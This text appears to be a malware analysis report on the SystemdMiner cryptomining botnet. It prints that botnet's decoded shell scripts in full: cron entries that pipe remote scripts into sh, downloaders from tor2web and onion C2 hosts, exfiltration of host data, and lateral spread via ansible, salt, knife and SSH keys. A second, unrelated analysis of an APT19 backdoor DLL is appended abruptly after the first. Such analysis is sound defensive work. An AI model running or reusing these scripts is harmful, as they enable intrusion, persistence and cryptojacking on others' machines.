- The main sample of DDG is written in Go language. It has been the same since its birth. It runs with a malicious shell script `i.sh`. The main binary samples of SystemdMiner are written in C language. The implementation details and other details of the code are also completely different.
- DDG's current binary samples are all packed with standard UPX packer, while SystemdMiner's binary samples are packed with morphed UPX packer with no intuitive UPX features.
- The DDG is mainly spread by using SSH weak passwords and Redis unauthorized access vulnerabilities. SystemdMiner uses the following means:
- YARN's unauthorized access vulnerability
- Use the *nix automated operation and maintenance tool (salt / ansible / chef-knife) for horizontal propagation
- Propagating itself with the SSH key saved locally once it has access to a target host.
- DDG's cryptominer program was compiled directly from XMRig, without packing, and XMR Wallet was hard coded in the cryptominer program. The SystemdMiner cryptominer program made significant changes to the XMRig source code, packed with a morphed UPX packer, and did not expose XMR Wallet.
## SystemdMiner’s Main Components
- `systemd-login-ddg`, `ddgs.i686`, `ddgs.x86_64`, `systemd-login`, `systemd-login-h`: These are the main samples, to set up tasks, horizontally propagate, and download other samples and execute.
- `cron.sh`: To periodically download and execute the main samples.
- `systemd.sh`: To update the main sample and cryptominer program.
- `systemd-resolve`: Exploit YARN unauthorized access vulnerabilities to spread itself horizontally.
- `systemd-analyze`: Cryptominer program.
The SystemdMiner’s real C2 servers are set up in the dark network and are mapped to the public network through a set of services like tor2web.
## 2. DDG's Last Config Data and `i.sh` Before v4000
**Config Data:**
```
{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n0.0.0.0 w.3ei.xyz\n0.0.0.0 aptgetgxqs3secda.onion.ly\n0.0.0.0 aptgetgxqs3secda.onion.pet\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\n0.0.0.0 aptgetgxqs3secda.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\n" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}
```
**And the last `i.sh` before ddg.v4000:**
```
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep betsbce || rm -rf betsbce
if [ ! -f "betsbce" ]; then
curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce
fi
chmod +x betsbce
$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce
ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9
echo
ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC -d|bash
```
Note the last Base64-encoded string in the `i.sh` script, which is decoded as a separate stand-alone shell script:
```
exec &>/dev/null
sed -i '/rapid/d' /etc/hosts
sed -i '/aptge/d' /etc/hosts
d() {
x=/systemd-login-ddg
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 5
}
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.ly
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.pet
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net
fi
```
This shell script first checks the process ID in the `/tmp/.X1M-unix`, if the file does not exist or the process is not running, it then attempts to download and run `systemd-login-ddg` through the following URLs:
- aptgetgxqs3secda.onion.ly/systemd-login-ddg
- aptgetgxqs3secda.onion.pet/systemd-login-ddg
- aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg
- aptgetgxqs3secda.onion.in.net/systemd-login-ddg
In addition, in the `i.sh` script, the DDG download files in the URL `http://119.9.106.27:8000/static/3022/ddgs.$(uname -m)` is also replaced with the following SystemdMiner’s own programs. Thus, there are 3 SystemdMiner's malicious programs downloaded to DDG's bot through this propagation:
- `systemd-login-ddg`
- `ddgs.i686`
- `ddgs.x86_64`
## 3. SystemdMiner Sample Analysis
### 3.1 Systemd-login-ddg
`systemd-login-ddg` is one of the core files, the other four `ddgs.i686`, `ddgs.x86_64`, `systemd-login`, `systemd-login-h` are `systemd-login-ddg` variants. All binary samples related to SystemdMiner are compiled from musl-libc and packed with deformed UPX. The Magic Number of the deformed UPX packer is `0x7373622E` (ASCII String: `.bss`):
After unpacking, all the binary malicious programs check `LD_PRELOAD` and `PTRACE_TRACEME` for anti-debugging and anti-sandboxing.
Then, `systemd-login-ddg` deletes itself, creating the daemon process and writing the process ID into `/tmp/.X1M-unix`, the process name is `-bash`:
Next, `systemd-login-ddg` writes the following script into the `/tmp/systemd`:
```bash
#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Iv{base64,-d}|bash
```
The Base64-encoded string in the above script is decoded as follows:
```bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash
```
If the current user is root, the sample will also check the directory `/lib/systemd/`, and execute the command `cp -f /tmp/systemd /lib/systemd/systemd-login` so it gets executed when the system starts. Then, `mv -f /tmp/systemd ~/.systemd-login` to move and hide the systemd file to the user's home directory.
The script file used to boot and execute the above `/lib/systemd/systemd-login` downloads a `cron.sh` file from the C2 server.
`cron.sh` is a highly obfuscated shell script with the following contents:
```bash
"${@%4}"$'\145v'${*%%5}al "$(rK=(\& \ ${*,,} l H \|${*//t5/&W} h n"${@//ar}" s \+${*##\(%} \!${!*} M${*^^} \. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q \-${*#uo} \(${*,} \=${*##+C} \; O${*%JK} U"${@~}" 2$* \<${*%%3} y \} \:${@//_o/F} u e"${@}" r \/ L \{ o i k S"${@//Ao/W}" m f${@/s\`/\]} v${@%0$} A $'\xa'${*/Xr/>} \$${*/&T} b t"${@^^}" P x \) X p${*/u} d \>)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\} 54 32 43 34${*/^\{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${*,,}" 32${*%E} 50 53${*//;\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j\!} 6 30 34${*%Oe} 7 47 38 6${*/P\}/\)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_\}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z/\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11"${@//?\\(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&F}" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\}#} 6${*//\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@/\}\}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${!@} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6${!@} 11 6${@%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\} 53 48 18$@ 32${@#\\} 48 18${@/9} 50 19 7${*#\`c} 15 7 32 12${*^} 54${@%\]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45"${@~~}";do
pr${*//<}i$'\x6e'\tf %s "${rK[$JS]}""${@/#}";done;)"
```
The real content after de-obfuscation:
```bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/systemd
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
if ! ps -p $(< /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io
fi
```
Finally, `systemd-login-ddg` continues to execute a series of Base64-encoded shell scripts.
### 3.1.1 Shell Script 1: Report to C2 and Use Automated Operation and Maintenance Tools to Spread
The original script is Base64 encoded and decoded as follows:
```bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
xssh() {
ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2Jpbj -d|bash'
}
s1() {
x=/slave
y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))
wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x
}
s2() {
x=/systemd-resolve
y=/tmp/systemd-resolve
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
s3() {
if [ -x $(command -v ansible) ]; then
ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2Jpbj -d|bash'
fi
if [ -x $(command -v salt) ]; then
salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2Jpbj -d|bash'
fi
if [ -x $(command -v knife) ]; then
knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2Jpbj -d|bash'
fi
if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then
hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts | awk -F: {'print $2'} | sort | uniq; awk {'print $1'} $HOME/.ssh/known_hosts | sort | uniq | grep -v = | sort | uniq)
for h in $hosts; do xssh root $h; xssh $USER $h & done
fi
}
s1 rapid7cpfqnwxodo.tor2web.fyi
s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net
s3
```
The script has three key functions:
1. **S1()**: Report compromised host information to `rapid7cpfqnwxodo.tor2web.fyi/slave`. To send back the current user name, CPU architecture, host name, and current user's cron table. After Base64 encoding, set these host information as the HTTP referer value and sent as an HTTP GET request to C2.
2. **S2()**: Download the `systemd-resolve` file from C2 and execute it. `System-resolve` integrates the exploit of YARN's unauthorized access vulnerability.
3. **S3()**: Horizontal propagation using 3 *nix automated operation and maintenance tools (ansible/salt/chef-knife) and local SSH keys.
### 3.1.2 Shell Script 2: Setting Up a Cron Task
The shell script used for horizontal propagation is also Base64 encoded and decoded as follows:
```bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
c() {
if [ -x $(command -v crontab) ]; then
if [ $(crontab -l | grep REDIS00) ]; then
crontab -r
fi
if ((!EUID)); then
if [ ! -f "/etc/cron.d/systemd" ]; then
echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd
fi
if [ ! $(crontab -l | grep systemd-login) ]; then
(echo "0 * * * * ~/.systemd-login"; crontab -l | sed '/wget/d' | sed '/curl/d') | crontab -
fi
else
if [ ! $(crontab -l | grep systemd-login) ]; then
(echo "0 * * * * ~/.systemd-login"; crontab -l | sed '/wget/d' | sed '/curl/d') | crontab -
fi
fi
fi
}
c
```
The main function of the script is to set up a new cron file `/etc/cron.d/systemd` to run `/lib/systemd/systemd-login`, the outcome of `systemd-login-ddg`. The `wget` and `curl` commands in the current user cron table are cleared to kill competitors' scheduled tasks.
### 3.1.3 Shell Script 3: Killing Competitors
The original script is also Base64 encoded and decoded as follows:
```bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
pkill -9 -f "8220|aegis_|AliYunDun|AliHids|AliYunDunUpdate|aliyun-service|cr.sh|cryptonight|ddgs|fs-manager|hashfish|hwlh3wlh44lh|java-c|kerberods|kworkerds|kpsmouseds|kthrotlds|mewrs|miner|mr.sh|muhsti|mygit|orgfs|qW3xT|find ~/.ddg/*|xargs fuser -k; rm -rf ~/.ddg"
find /etc/cron* | xargs chattr -i
find /var/spool/cron* | xargs chattr -i
grep -RE "(wget|curl)" /etc/cron.* | cut -f 1 -d : | xargs rm -f
grep -RE "(wget|curl)" /var/spool/cron* | cut -f 1 -d : | xargs sed -i '/wget\|curl/d'
rm -f /usr/sbin/aliyun* /usr/local/aegis* /usr/local/qcloud* /usr/local/bin/dns ~/.wget-hsts
```
The function of this script is to remove various competitors.
### 3.1.4 Shell Script 4: Download and Execute the Cryptominer
The original script is Base64 encoded and decoded as follows:
```bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-analyze
y=/tmp/.systemd-analyze
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 6
}
if ! ps -p $(cat /tmp/.X11-lock); then
d rapid7cpfqnwxodo.tor2web.fyi || d rapid7cpfqnwxodo.onion.in.net
fi
```
To download and execute `systemd-analyze` from `rapid7cpfqnwxodo.tor2web.fyi` or `rapid7cpfqnwxodo.tor2web`. `systemd-analyze` is a mining program based on XMRig.
### 3.1.5 Shell Script 5: Update Samples and Malicious Shell Scripts
The original script is Base64 encoded and decoded as follows:
```bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 5
}
u() {
x=/systemd.sh
(wget -qU- -O- --no-check-certificate $1$x || curl -fsSLkA- $1$x)|bash
}
if [ -f /tmp/.systemd-update ]; then
kill -9 $(cat /tmp/.X1M-unix) && rm -f /tmp/.X1M-unix; rm -f /tmp/.systemd-update
d rapid7cpfqnwxodo.onion.in.net || d rapid7cpfqnwxodo.tor2web.fyi
fi
u rapid7cpfqnwxodo.onion.in.net || u rapid7cpfqnwxodo.tor2web.fyi
```
`systemd-login-ddg` uses this script to check the sample update flag file `/tmp/.systemd-update` and download the latest `systemd-login` sample accordingly. The latest malicious shell script, `systemd.sh` is then downloaded and executed. Next, `systemd-login-ddg` executes the sixth shell script. The sixth shell script is basically the same as the fifth one, except that there is one more C2 Domain to download the `systemd-login` sample: `rapid7cpfqnwxodo.tor2web.io`.
### 3.2 Systemd-resolve
As mentioned earlier, `systemd-resolve` integrates YARN's unauthorized access vulnerability to spread to other hosts horizontally. It is very similar to `systemd-login-ddg`, except that its daemon is named `-rbash`.
The sample is mainly used for internal network propagation targeting `172.16.0.0/12`, `192.168.0.0/16`, and `10.0.0.0/8`. The sample first checks the LAN_IP of the current host, whether it belongs to the above three intranet segments:
If the current host's LAN_IP belongs to the above three network segments, the sample checks the 8088 ports of each host on the network:
For the right target host, it uses the following payload to propagate itself:
The shell script in the payload is also Base64 encoded and decoded as follows:
```bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login-h
y=/tmp/systemd
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
if ! ps -p $(< /tmp/.X1M-unix); then
d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io
fi
```
We can see that `systemd-login-h` will be downloaded and executed. This `systemd-login-h` function is the same as the `systemd-login-ddg` analyzed above.
### 3.3 Systemd.sh
As mentioned earlier, `systemd-login-ddg` downloads `systemd.sh` and executes it in the fifth shell script. In the early days of our analysis of the SystemdMiner family, this `systemd.sh` script had no substantive content:
```bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
```
At around noon on 2019.4.23, the attacker officially put the `systemd.sh` online, the latest `systemd.sh` content:
```bash
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-analyze
y=/tmp/.systemd-analyze
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 6
}
if ! ps -p $(cat /tmp/.X11-lock); then
d rapid7cpfqnwxodo.d2web.org
fi
```
Thus its purpose is to download `systemd-analyze` and execute it.
### 3.4 Systemd-analyze
As mentioned above, SystemdMiner's current profit method is cryptomining, and the cryptominer program that ultimately undertakes this task is this `systemd-analyze`. The program also has the same methods of anti-analysis as SystemdMiner's other binaries, except that it names its own process as a 6-byte random string of uppercase and lowercase letters and numbers. XMRig related string in the miner program:
The cryptomining pool (or proxy) is under the attacker's own control. The mining account, password, and/or proxy used are as follows:
| Domain | DNS Record Type | IP | Remark |
|-----------------------|------------------|-------------------|---------------------------------------------|
| pol-ice.ru | A | 5.167.55.128 | An Ice-cream firm in Russia |
| ecosustain.info | A | 136.243.90.99 | A project from European Regional Development Fund |
## 4. IoCs
**Domains:**
- aptgetgxqs3secda.onion.ly
- aptgetgxqs3secda.onion.pet
- aptgetgxqs3secda.tor2web.fyi
- aptgetgxqs3secda.onion.in.net
- aptgetgxqs3secda.onion.mn
- aptgetgxqs3secda.d2web.org
- rapid7cpfqnwxodo.tor2web.fyi
- rapid7cpfqnwxodo.onion.in.net
- rapid7cpfqnwxodo.onion.ly
- rapid7cpfqnwxodo.onion.pet
- rapid7cpfqnwxodo.onion.mn
- rapid7cpfqnwxodo.d2web.org
**MD5:**
- 64315b604bd7a4b2886bba0e6e5176be
- dd8202ac5e6a2f6c8638116aa09694d7
- 45e4d4671efcd1d9e502359c2fbbd6eb
- aa83345c8cc3e7b41709f96bfb9844f8
- 9f3edaa64e912661cd03f1aa9d342162
- aa83345c8cc3e7b41709f96bfb9844f8
- 4215f6306caa3b216295334538cad257
- 50da2fb3920bfedfeb9e3a58ca008779
- ceaee3da774cc712dc735d38194b396e
- 8d9f26cd8358dce9f44ee7d30a96793f
- 4bff1a92e6adcfe48c8b0f42b21a5af6 |
# Analyzing APT19 Malware Using a Step-by-Step Method
## Summary
In this blog post, we present a full analysis of a DLL backdoor also reported publicly as Derusbi. This particular piece of malware is associated with the actor known as APT19 (Codoso, C0d0so, Sunshop Group). APT19, also known as C0d0so or Deep Panda, is allegedly a Chinese-based threat group that targeted many industries in the past. FireEye reported that APT19 was active in 2017 when they used three different methods to compromise targets: CVE-2017-0199 vulnerability, macro-enabled Microsoft Excel (XLSM) documents, and an application whitelisting bypass to the XLSM documents.
The malware registers itself as a service if it has run with administrator privileges; otherwise, it establishes persistence via the “Run” registry key. The main purpose of the malicious DLL is to gather information about the victim’s environment such as username, hostname, IP address of the host, CPU architecture, default language for the local system, amount of physical memory, amount of physical memory currently available, processor name, width, and height of the screen of the primary display monitor. The exfiltrated data is encrypted using a XOR operation (the 1-byte key seems to be randomly chosen) and then encoded using the Base64 algorithm. There is a lot of network communication performed by the malware; however, due to the fact that the C2 server seems to be sinkholed now, we were not able to retrieve the file that was intended to be downloaded by the process.
## Technical Analysis
**SHA256:**
DE33DFCE8143F9F929ABDA910632F7536FFA809603EC027A4193D5E57880B292
The file analyzed in this blog post is a DLL that has the following export functions:
DebugCreate and DebugConnect entries have the same address and represent the starting point of the malicious activity. The process computes a random string of 3 characters using GetTickCount API calls and the algorithm shown in the following figure:
It tries to delete a file/directory called `<3 random chars generated earlier>.dll` from the System32 directory. Because the file doesn’t exist at this time, it’s created using CreateFileA API and then deleted using DeleteFileA API. This technique is used to confirm that it has enough rights to write files in the System32 directory.
The malicious process retrieves process privilege details by calling GetTokenInformation with parameter type 0x14 (TokenElevation).
Now it queries the “HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs” registry value using RegQueryValueExA function. The list of services retrieved earlier is shown in the next figure. There is another service called WinHelpSrv that is added to this list. The “netsvcs” value is modified to reflect the change by calling RegSetValueExA API.
The file creates a new service named WinHelpSrv (Windows Helper Service) as follows: The description of the service is set to “This is windows helper service. Include windows update and windows error.” The malicious DLL is registered as a service by adding the “ServiceDll” value that points to its location to the newly created service registry keys.
The process creates a batch file called `<10 random chars>.bat` (the same algorithm utilized before to generate the random letters is used). The content of the .bat file is presented below:
```
@echo off
net start %1
del %0
```
The malicious file sets the priority class 0x100 (REALTIME_PRIORITY_CLASS) for the current process (this means that the current process has the highest possible priority). After this operation, there is a call to SetThreadPriority that sets the priority 15 (THREAD_PRIORITY_TIME_CRITICAL) for the current thread.
Now there are two SHChangeNotify API calls with the following parameters: 0x4 (SHCNE_DELETE), 0x5 (SHCNF_PATH), the 3rd parameter is the path to rundll32.exe (because the DLL was run using rundll32) and the name of the batch file, respectively, and the 4th parameter is 0. These calls have the purpose of notifying the system if rundll32.exe or the batch file is deleted.
The batch file is executed using the WinExec function. Basically, it starts the WinHelpSrv service, and then the batch file is deleted.
Now we’ll talk a bit about the ServiceMain export function that is called when the new service starts. The process registers a function to handle service control requests by calling the RegisterServiceCtrlHandlerA function. There is a call to SetServiceStatus function using the following SERVICE_STATUS structure: 0x10 (SERVICE_WIN32_OWN_PROCESS), 0x2 (SERVICE_START_PENDING), 0 (no controls are accepted), 0 (dwWin32ExitCode), 0 (dwServiceSpecificExitCode), 0x1 (dwCheckPoint) and 0xbb8 (3000 ms, the amount of time that the service expects an operation to take before the next status update).
The malicious process creates an unnamed event object by calling the CreateEvent function. Now it follows another SetServiceStatus call by using the following SERVICE_STATUS structure: 0x10 (SERVICE_WIN32_OWN_PROCESS), 0x4 (SERVICE_RUNNING), 0x1 (SERVICE_ACCEPT_STOP), 0 (dwWin32ExitCode), 0 (dwServiceSpecificExitCode), 0 (dwCheckPoint) and 0 (dwWaitHint).
The final operation of this section is to create a new thread using the CreateThread function. The same action will be performed even if the process hasn’t run with admin privileges.
The malware uses an anti-analysis technique by comparing the image path of the executable with rundll32.exe. It is done to ensure that the file is not executed by a sandbox/analyst (it exits if that’s the case).
The malware is made persistent by adding a new value called WinHelpSrv under the “Run” registry key. In our case, this value points to the location of rundll32.exe because the DLL was run using this executable.
As written before, a new thread is created to execute the same function mentioned when the malware has run with administrator privileges. There is a call to GetMessage API to retrieve messages from the thread’s message queue. If the message is 0x10 (WM_CLOSE), 0x11 (WM_QUERYENDSESSION) or 0x16 (WM_ENDSESSION), the current function terminates its execution.
During the entire execution, the internet is emulated using Fakenet. We’ve observed multiple MultiByteToWideChar function calls used to convert character strings to UTF-16 (wide character) strings. One such call is shown below.
The malware uses the WinHttpOpen function to initialize the use of WinHTTP functions. The user agent is hardcoded in the DLL file. There is a call to WinHttpSetTimeouts function in order to set time-outs involved in HTTP transactions. nResolveTimeout, nConnectTimeout, nSendTimeout, and nReceiveTimeout are set to 0x1D4C0 (120.000ms = 120 seconds).
The initial target server of an HTTP request is set to 106.185.43.96 on port 0x50 (80). The process performs a GET request to the server mentioned above, with the target resource being /user/atv.html. The pwszReferrer parameter is set to “http://www.google.com” and dwFlags is set to 0x100 (WINHTTP_FLAG_BYPASS_PROXY_CACHE).
After the WinHttpOpenRequest call, there is a WinHttpSendRequest function call. The HTTP request is intercepted by Fakenet, and it replies with a fake response. Now the process is awaiting a response to the HTTP request by calling the WinHttpReceiveResponse function.
Afterward, the malicious file retrieves header information using WinHttpQueryHeaders API with 0x16 (WINHTTP_QUERY_RAW_HEADERS_CRLF) parameter – receives all the headers returned by the HTTP server. There is a second WinHttpQueryHeaders API call with 0x20000013 (WINHTTP_QUERY_FLAG_NUMBER|WINHTTP_QUERY_STATUS_CODE) parameter – the status code returned by the HTTP server. It expects a status code of 200 (OK).
The process uses the WinHttpQueryDataAvailable function to see how many bytes are available to be read with WinHttpReadData. Next, there is a call to the WinHttpReadData function that is used to read data returned by the server.
The malicious process uses the WSAStartup function with 0x202 parameter (wVersionRequired) in order to use the Winsock DLL. The current directory for the process is changed to the location of the current executable (rundll32.exe). GetAdaptersInfo API is utilized to find adapter information for the local machine.
The malware opens the “Software\Microsoft\Windows\CurrentVersion\Internet Settings” registry key by calling the RegCreateKeyExA function. Now the user agent is extracted from the local host by calling the RegQueryValueExA function. The GetNetworkParams function is utilized to obtain network parameters for the local machine. This information will be exfiltrated as we’ll see later on.
GetComputerNameW and GetUserNameW APIs are used to retrieve the NetBIOS name of the local computer and the name of the user associated with the thread, respectively. The process verifies the operating system version by calling GetVersionExA function and then it checks if the process is running on a 64-bit machine by calling GetCurrentProcess and IsWow64Process APIs (this information is stored in the buffer along with the hostname and username).
The malware retrieves the default locale for the OS by calling GetLocaleInfoA function with the following parameters: 0x800 (LOCALE_SYSTEM_DEFAULT), 0xb (LOCALE_IDEFAULTCODEPAGE). The result is OEMCP 437 for English (United States) that is converted to hex and copied in the buffer that will be exfiltrated.
